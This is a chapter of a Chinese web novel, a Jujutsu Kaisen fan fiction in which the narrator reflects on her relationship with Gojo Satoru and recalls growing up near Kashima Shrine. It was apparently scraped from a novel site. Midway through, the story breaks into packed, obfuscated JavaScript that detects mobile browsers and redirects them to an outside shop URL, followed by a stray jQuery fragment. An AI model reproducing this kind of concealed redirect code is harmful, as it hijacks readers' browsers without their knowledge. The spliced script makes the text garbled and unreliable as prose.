文趣网 > 都市小说 > 糟了,前男友是神[咒回] > 4. 2. 清醒梦境(1)
    “抱歉啦,回见。”

    这个有心无力的工作狂大概是真的赶时间,放完狠话,最后揉了揉我的发顶,就迅速地离开了。

    生姜打了个哈欠,恋恋不舍地伸爪,喵呜一声趴回去。

    关门声在玄关响起,偌大的公寓,恢复了安静。

    -

    是谁说的,再说“对不起”这种话,就完蛋了来着?

    生姜在地面上仰面朝天地打滚,我看着它发了会儿呆,冷哼一声,对着它抓拍一张。

    -

    @Mayako_0524:

    [橘猫打滚].jpg

    骗子。

    -

    仿佛药效迅速消退,我的心情自五条悟走之后,就一直没好起来。

    明明五条悟能说的都说了,态度也非常明确而坚定,而我的回应也完全出于真心——我知道他是个言行一致的人,无论心里怎么想,只要嘴上还说着“爱我”,就一定会给出让我安心的答案。

    但我在这样囫囵吞枣的相处中,总是觉得有点遗憾和疲惫。

    我们之间的相处模式,其实从来就没有变过。大段时间的分离、争分夺秒的相聚。他那双漂亮的眼睛看着我时,始终对我满心信赖,似乎觉得每次打开门,我都会静静在家里等候他,这一点很令他安心。让我不忍辜负。

    明明我曾经觉得这样就很满足。因为五条悟很好,从内到外都很好,我都很喜欢,就连幼稚和咋呼对我来说都恰到好处。因为只是一点点寂寞而已,我自认作为一个成年人,没什么不好消化的。因为我也很忙,被东京的职场榨干了大部分时间,也不会一天到晚都在那数花瓣猜他今天会不会来。

    但现在我却怅然若失。

    过去和现在,到底区别在哪里呢?

    想不清楚,也有点不敢想。

    因为如果非要说有什么在变的话,好像唯独只有我而已。

    -

    人有七种恶习,被教义列为罪过。贪婪、傲慢,抑或是嫉妒,说不好都可以往我身上套。

    但说实在的,我归根结底也只是在聊爱情的事而已。

    既然爱情于繁忙的五条悟来说并不那么重要,那么于我来说,就应该罪不至此啊。

    -

    电闪雷鸣,我独自在公寓迎接骤雨。

    生姜被惊醒,抖了三抖,伸着懒腰从沙发上立起来,来到我的脚边,一面轻轻叫着,一面用尾巴来回蹭我。

    我回过神来,摸了摸它的脑袋。

    我站起身来,将五条悟忘记带走的、装满我的礼物的行李箱推到角落里,用布盖好。

    以免他下次来间隔太久,箱子上落满灰尘就不好了。

    生姜一直亦步亦趋地跟着我,也不知道它是自己在害怕,还是担心我在害怕。

    还好有它陪伴我啊。

    “走吧,大卡车。”我用手指摸它的脑袋,它用湿漉漉的鼻尖来蹭我:“我们一起回房间睡觉。”

    -

    今晚大概又会梦到五条悟了。

    每当我很想念他的时候,就会梦到他。

    虽然距离他离开,才几个小时而已。

    -

    我果然梦见了很多东西。

    从我最初见到五条悟这张面孔开始——那实在是一场令人摸不着头脑的缘分。

    -

    我出生于茨城县鹿岛市——一个在“日本最没魅力的县”榜单中位列榜首的地方。

    这里唯独吸引人的东西,大概就是那座离我家不远的鹿岛神宫了。

    听说这座神宫地位相当高,是全国三大神宫之一,也是全国鹿岛神社的总本社。

    可惜鹿岛市没有沾上光,因为它而成为一座地位很高的城市。

    爸爸是在制造业上班的蓝领,妈妈照顾家里的同时会做些兼职补贴家用,闲暇的时候,一家人,包括我,也包括爷爷奶奶、外公外婆,会共同照料家里那一小片农田。

    我们共同拮据而又尽量不失体面地生活着,一点一点地攒下积蓄,祈祷着家人们平安、健康,只要没迎来太过突然的灾难,我们就能一直这样平静地生活下去。

    我一直很无趣地长大着,无趣地度过小学和初中,闲暇时候经常跑去鹿岛神宫附近闲逛,坐在路旁的长椅上,假装在用老旧的随身听听着歌,实际上在观察着参观神宫的、形形色色的游人。

    久而久之,我几乎能分辨他们的来处。

    衣着像我一样朴素,神情像我一样局促的,十有八九是来自其他的乡县;关西腔浓烈、语调自信、和伙伴们言笑晏晏的,多半是来自大阪;穿着精致华丽的和服、神情从容余裕、关西腔调里夹杂一些耐人寻味语气的,大概率是来自京都;而那些衣着时髦、口音标准、气质出众的人,应该是来自东京。

    京都和东京的气质,总要比其他地方“高贵”一些,没来由地让我感到自卑。

    但也都让我感到向往。

    我很早就向父母宣布过我的雄心壮志:长大以后,我想离开茨城,到大城市去生活。

    想去京都,想去东京,想衣着光鲜、气质从容地回到家乡,成为被下一代的初中生们艳羡向往的存在。

    老人们会拍着掌鼓励我,爸爸妈妈只是笑而不语,溺爱地看着我,大概没有把我这充满冒险精神的念头当回事。

    在茨城长大,读书,工作,嫁人,相夫教子……这几乎是我周围所有女孩的一生。我没有理由例外。

    我的爸爸偶尔会有去东京出差的机会,每次他都会笑眯眯地向家里人宣布这件事,然后等我欢欣雀跃地蹦起来,缠住他,央求着想要一起去。

    在东京街头,拉着爸爸的手探头探脑地闲逛的记忆,一直深深刻在我的脑袋里——即使我和爸爸满身的土气,会吸引繁华街道上路人们不动声色的打量目光,也没什么关系。

    我顽强的意志在这种情形下初现端倪。

    京都我就从来没去过了。只能根据来到鹿岛神宫的游人、根据书籍、根据电视去拼凑……我越来越觉得那是个古典、高贵而又神秘的地方。

    所以每次在鹿岛神宫看见京都人,我都会忍不住多瞧上几眼。

    -

    住在鹿岛神宫附近有个好处,就是把那里地皮踩得很熟。有很多美妙的风景、有很多营业时刻之外的禁区,我和伙伴们可以很丝滑地偷溜进去。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724499|208797||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >但这一周鹿岛神宫由于“临时维护”而停止了对外开放。我从老一辈人的闲言碎语里拼凑不出东西,而我的邻居,由于年轻时做过“巫婆”而一直隐隐被大家敬而远之的市子奶奶知道我喜欢去神宫溜达,告诫我这一周一定不要进去。

    “想去那种危险的地方送死就尽管去吧,小不点。”

    市子奶奶冷着脸放狠话——她一向这样别扭,嘴硬心软,这也是大家不太擅长和她相处的原因。

    “那里被挖出了很危险的东西,会吸引更危险的东西前来。”她说:“是你们这种小孩子最怕的妖魔鬼怪。”

    我知道市子奶奶是好心,但一口一个“小不点”、“小孩子”,实在太瞧不起我了,于是我吐着舌头说:“知道啦。但市子奶奶除了‘危险’,就不会用别的词了吗?是不是没有好好上小学……”

    市子奶奶拎着擀面杖作势追我,而我嘻嘻哈哈地溜出了小巷。

    -

    但我在第二天还是靠近了神宫。

    一是因为我其实不太信什么妖魔鬼怪——如果市子奶奶对我说里面藏着一个潜逃的杀人犯,我可能才会敬而远之,更何况我去时是大白天。

    二是我和爸妈狠狠吵了一架——老生常谈的话题。

    我兴冲冲地说着升学以后,要更加努力地学习,大学想考去东京那样的大城市,但我的爸妈全方位地泼我冷水,既看不起我的智力,也看不起我的毅力,最最最看扁的是我对大城市的向往。

    三是,严格来说,我并没有去往神宫内部,而只是去往它附近的那片湖泊,想在草坪上躺着晒晒夕阳,看着那里的水上鸟居发发呆、转换心情而已。

    沐浴在水红色里的湖泊,那孤单伫立、被岁月攀附的鸟居,还有澄澈湖面上万物的倒影,总是能令我感到安宁。

    但我没想到以往精神抖擞的我,那天会困成那样,一不小心就睡着过去,从黄昏睡到傍晚。

    醒来的时候,天色与湖面连成漆黑的一片,宽敞的草坪上空无一人。

    我从有点扎人的草坪上撑起身体,拍掉手臂上似有若无的痒感,掏出手机,发现已经没电关机了——立刻冷汗直流地拎起书包,转身就要回到荒无人烟的大路上。

    完蛋了——家里人一定很担心我。

    但我转身以后,一下就呆住了。

    一个黑影静静立在路上,正对着我,袖袍飘摇。

    灯光幽若,风声簌簌响起,更添一分阴寒。

    -

    冷汗从我身上冒出来。

    气氛非常诡异,一时市子奶奶的警告回响在脑海——我不会真的遇见了什么妖魔鬼怪吧?

    早知道我就该多问一句的——如果真的撞见了鬼怪,我有什么能做的吗?拔腿就跑能跑掉吗?跪地求饶能活下来吗?还是只能闭着眼睛等死呢?

    我正僵在那里,迅速头脑风暴,不知如何是好,就听见咔哒一声,眼前一道刺目的白光亮起来。

    那人举起手电筒,朝自己脸上一照——一脸惨白,像个素面鬼,皮笑肉不笑,一副被我冒犯到的样子。

    “喂。”他扬了扬眉毛,歪着脑袋:“这位小姐,你该不会在怀疑我是鬼吧?”